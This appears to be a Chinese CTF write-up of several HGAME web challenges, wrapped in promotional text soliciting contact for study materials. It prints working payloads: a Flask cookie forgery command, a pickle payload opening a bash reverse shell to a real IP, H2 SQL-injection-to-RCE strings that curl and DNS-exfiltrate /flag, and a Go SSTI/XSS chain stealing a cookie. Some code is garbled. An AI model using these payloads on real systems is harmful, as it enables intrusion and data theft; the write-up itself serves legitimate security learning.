在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’

伪造成功,开始第二步。

注意,pickle,版本要一致,版本是311。
脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
寄了,我就知道没这么简单。

报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

果然如此。payload:
POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

## Select More Courses
题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?
hint:
>
> 可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
>
>
>
开题,首先要登录,注意系统提示。

密码直接拿hint给的密码本爆破。密码是`qwert123`

点击扩容:

提示和时间赛跑


还有一个是选课界面,只需要选一个。

猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。

选上了。

## search4member
考点总结:SQL注入(堆叠)+h2database RCE漏洞
题目描述:Vidar-Team have so much members,so 1ue write an api to search…
hint:
>
> 出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅
>
>
>
有附件给了源码。是java的SQL。导入IDEA看看。
package org.vidar.controller;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
@Controller
public class SearchController {
@Inject
private DbManager dbManager;
@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
List<String> results = new ArrayList<>();
if (keyword != null & !keyword.equals("")) {
String sql = "SELECT \* FROM member WHERE intro LIKE '%" + keyword + "%';";
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString("id") + " : "
+ resultSet.getString("intro") + " : "
+ resultSet.getString("blog"));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView("search.ftl");
model.put("results", results);
return model;
}
}
数据库结构如下:
DROP TABLE IF EXISTS member;
CREATE TABLE member
(
id VARCHAR(30) NOT NULL UNIQUE COMMENT ‘id’,
intro VARCHAR(255) NOT NULL COMMENT ‘intro’,
blog VARCHAR(255) NOT NULL COMMENT ‘blog’
);
INSERT INTO member (id, intro, blog)
VALUES (【xxx】);
测试,可以sql注入。payload:
?keyword=%E4%BC%9A%E9%95%BF%25’%3B–%2B
解码后:会长%';–+

获取数据库:(数据库名字为`H2`)
?keyword=zzz%25’ and 1>2 union SELECT 1,2,database();–+

奇怪的数据库名字+数据库中找不到flag,这题可能不是简单的SQL注入。
开始搜索引擎,找到了`h2database`有一个RCE漏洞!

参考:
[H2 database漏洞复现 - Running\_J - 博客园 (cnblogs.com)]( )
[Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)]( )
这个总的来说就是创建一个数据库函数 SHELLEXEC ,函数可以直接执行命令
测试payload:(SQL注入+H2 RCE)(参照两个参考文章得出)(两个都可以)
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS S t r i n g s h e l l e x e c ( S t r i n g c m d ) t h r o w s j a v a . i o . I O E x c e p t i o n j a v a . u t i l . S c a n n e r s = n e w j a v a . u t i l . S c a n n e r ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) ; r e t u r n s . h a s N e x t ( ) ? s . n e x t ( ) : " " ; String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } Stringshellexec(Stringcmd)throwsjava.io.IOExceptionjava.util.Scanners=newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("A");returns.hasNext()?s.next():"";;CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS ‘String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}’; CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
测试payload,发现可以被DNS接收。

最终payload:(执行命令)(之前`CREATE ALIAS SHELLEXEC`已经创建过`SHELLEXEC`函数,无需重复创建)(反弹shell失败了,尝试DNS带出flag)
?keyword=zzz%25’;CALL SHELLEXEC(‘bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}’);–+
最终payload带出flag成功。

## 梅开二度
考点总结:Go语言+SSTI+XSS
题目描述:

开题:

后端代码实现:

看这`{{}}`感觉好像SSTI,又说flag在bot手上,怀疑是XSS。有意思,没怎么学过go,边做边学吧。
搜索引擎启动,搜索关键字 GO SSTI XSS 安全漏洞。真能搜到,Go的SSTI危害比较小,能用的基本上只有XSS。不像Jinja2那样可以RCE。
查找到有用的参考文章:
[浅学Go下的ssti - SecPulse.COM | 安全脉搏]( )
[Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)]( )
[Go SSTI初探 | tyskillのBlog]( )
https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/
有附件,看看源码:(注释来自GPT4.0)
// 导入必要的包
import (
“context” // 用于创建和传递上下文
“log” // 用于记录日志
“net/url” // 用于解析URL
“os” // 用于读取环境变量和文件系统
“regexp” // 用于正则表达式匹配
“sync” // 用于同步goroutine
“text/template” // 用于处理文本模板,存在XSS!
“time” // 用于处理时间
"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
"github.com/gin-gonic/gin" // Gin是一个HTTP Web框架
"golang.org/x/net/html" // 用于操作HTML
)
// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(script|file|on
)
// 全局锁,用于同步访问
var lock sync.Mutex
func main() {
// 创建一个ChromeDP执行环境,配置Chrome运行参数
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)…)
defer cancel() // 确保在main函数结束时取消上下文,释放资源
// 创建一个Gin路由器
r := gin.Default()
// 处理根路径的GET请求,动态生成HTML页面
r.GET("/", func(c \*gin.Context) {
tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
if tmplStr == "" {
tmplStr = defaultTmpl // 若未提供,则使用默认模板
} else {
// 检查模板字符串是否合法
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
}
tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
c.String(500, "execute template error: %v", err)
}
})
// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
r.GET("/bot", func(c \*gin.Context) {
rawURL := c.Query("url") // 从查询参数获取URL
u, err := url.Parse(rawURL) // 解析URL
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
c.String(403, "host is invalid")
return
}
go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
lock.Lock() // 在访问共享资源前加锁
defer lock.Unlock() // 确保在函数结束时释放锁
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10\*time.Second)),
)
defer cancel()
ctx, \_ = context.WithTimeout(ctx, 20\*time.Second) // 设置上下文超时
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()), // 导航到指定的URL
chromedp.Sleep(time.Second\*10), // 等待页面加载
); err != nil {
log.Println(err) // 记录错误
}
}()
c.String(200, "bot will visit it.") // 响应客户端
})
// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
r.GET("/flag", func(c \*gin.Context) {
if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag") // 读取flag文件
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
c.Status(200) // 发送200状态码
})
// 启动Gin服务器,监听8080端口
r.Run(":8080")
}
// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
分析源码:
1、导包中的`text/template`(个人认为是Go语言的XSS标志)
Go 提供了两个模板包。一个是 `text/template`,另一个是`html/template`。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template常用基本语法:
在{{}}内的操作称之为pipeline
在template中,点"."代表当前作用域的当前对象
{{.Query “aaa”}} 调用一个名为Query的方法,并传递字符串"aaa"作为参数
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template “navbar”}} 引入子模版
2、var re = regexp.MustCompile(`script|file|on`)
黑名单过滤`script`、`file`、`on`
3、if len(tmplStr) > 50
限制长度50以内。(当时想着payload被限制50以内那就麻烦了)(之后想到可以绕过的~)
4、tmplStr = html.EscapeString(tmplStr)
进行转义

5、根路由`\`存在SSTI,注入点是`tmpl`

到分析的第5点为止。我们已经发现了根路由存在SSTI,防御手段有三,分别是黑名单过滤、长度限制、转义。
转义了单双引号,我们用反引号`代替。此外,我们绕一下,直接调用Query()函数,获取另外一个传参变量`Jay17`的值。
先测试是否存在SSTI,payload如下,回显的值为`95272022`,表示存在SSTI
?tmpl={{println 0B101101011011011110001010110}}

我们先XSS弄个弹窗试试:
?tmpl={{.Query Jay17
}}&Jay17=
显然成功了,XSS存在且我们可控。接下来我们就是思考如何带出flag了。

继续分析
6、`/bot`路由主要是获取传参`url`,访问url参数的值,要满足访问的是本地`8080`端口。

7、`/flag`路由将cookie设置为flag,前提是来源是本地(bot可以做到)

8、整体思路就是让bot拿出flag给我。
直接让bot访问`/flag`路由可以让bot获取flag,但是带不出来。(访问url,可以看作只有一次访问)
结合XSS,我们首先让bot访问根路由,在根路由进行XSS,XSS执行js代码,使得bot访问`/flag`获取cookie,再带出cookie给我,bot的cookie此时就是flag。
payload模板:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query Jay17
}}&Jay17=
现在的问题就是怎么XSS,在XSS的任务就是,获取cookie flag、带出flag。
JS代码部分:
async function fetchData() {
// 首先访问网址A
await fetch(‘http://127.0.0.1:8080/flag’)
.then(response => response.text())
.then(data => console.log(‘网址A访问成功’))
.catch(error => console.error(‘访问网址A时发生错误:’, error));
// 然后访问网址B,并将响应数据赋值给变量X
let x; // 定义变量X
await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
.then(response => response.text())
.then(data => {
x = data; // 将获取到的数据(网页响应)赋值给变量X
})
.catch(error => console.error('访问网址B时发生错误:', error));
window.open("http://jay17"+x.substring(6,46)+".kgb7xfn7.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();
==坑点1:==题目出网,但是vps监听不了,DNS可以解析,我们尝试用DNS带出cookie。


==坑点2:==URL编码问题。
因为利用`/bot`路由去XSS,这个路由首先解码一次,之后XSS时候又会解码一次。
绿色框框编码一次,红色框框编码两次。

坑点3: Cookie问题
因为`c.SetCookie("flag", string(flag), 3600, "/", "", false, true)`,一开始用`document.cookie`带出cookie的时候死活带不出来
c.SetCookie(“flag”, string(flag), 3600, “/”, “”, false, true)
>
> * `c`: 这通常代表当前的请求上下文(context)。在许多Web框架中,`c`用于访问和操作请求和响应,如获取请求数据、设置响应头或cookie等。
> * `SetCookie`: 这是一个方法,用于在用户的浏览器上设置一个cookie。
> * `"flag"`: 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。
> * `string(flag)`: 这是cookie的值。`flag`变量被转换为字符串类型,这是你想存储在用户浏览器中的实际数据。假设`flag`变量之前已经被定义并且包含了某些信息。
> * `3600`: 这是cookie的过期时间,以秒为单位。`3600`表示cookie将在3600秒后过期,也就是1小时。过期后,浏览器将自动删除该cookie。
> * `"/"`: 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。`"/"`表示这个cookie在域名下的所有页面都是可访问的。
> * `""`: 这是cookie的域。这里为空字符串,意味着cookie将应用于当前文档的域名。在实际使用中,你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。
> * `false`: 这个参数指定了cookie是否只能通过HTTPS协议传输。`false`表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为`true`,则cookie只能在加密的HTTPS连接中被传输,这增加了安全性。
> * `true`: 这个参数表示cookie是否应该被标记为HttpOnly。`true`意味着cookie将被标记为HttpOnly,这意味着它只能通过HTTP(S)请求访问,而不能通过客户端脚本(如JavaScript)访问。这有助于减少跨站脚本攻击(XSS)的风险。
> * * 当一个cookie被标记为`HttpOnly`,它不能通过客户端脚本(如JavaScript)访问。这是一个安全措施,旨在防止跨站脚本攻击(XSS)通过盗取cookie来损害用户的安全。因此,如果一个cookie被设置为`HttpOnly`,你**不能**通过在客户端运行的JavaScript代码,如`document.cookie`,来访问这个cookie。
>
>
>
那我们就是用Go语言的SSTI漏洞来获取cookie
请求如下网址,返回即使flag(之后再带出)
http://127.0.0.1:8080/?tmpl={{.Cookie flag
}}
==坑点4:==花括号问题
因为flag里面有花括号,导致了DNS带不出数据。。。。。
尝试采用base64和url编码,带出也失败了,猜测不仅仅是花括号,其他的等号、百分号也会导致无法带出。。。
那我们就用字符串截取`.substring()`方法,截取flag中花括号内的纯字符。
payload:(按之前说的编码)
/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch(‘http%253A%252F%252F127.0.0.1%253A8080%252Fflag’)%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log(‘%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F’))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error(‘%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A’%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch(‘http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D’)%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error(‘%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A’%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253E



flag:
hgame{83762880f8ea0a4db75fb2e9b69efc42526e998b}
---
以下是萝莉的JS部分:
window.open(“http://127.0.0.1:8080/flag”); //获取cookie(flag)
setTimeout(function(){ //延时1s执行
var xhr = new XMLHttpRequest();
xhr.open(‘GET’, ‘http://127.0.0.1:8080/?tmpl={{.Cookie flag
}}’);
xhr.withCredentials = true; //允许请求携带跨域凭证(如cookies)
xhr.send();
xhr.onreadystatechange=function(){
//从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
var a=“y”+(xhr.responseText).substring(0,4);
//var a=“y”+(xhr.responseText).length; //获取flag长度
window.open(“http://”+a+“.kbqsag.ceye.io”); //带出想要的数据(变量a)
};
},1000)
---
**防御此漏洞方法**:
Go模板包`text/template`提供了内置函数html来转义特殊字符,除此之外还提供了js函数转义js代码。
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:

**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.youkuaiyun.com/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**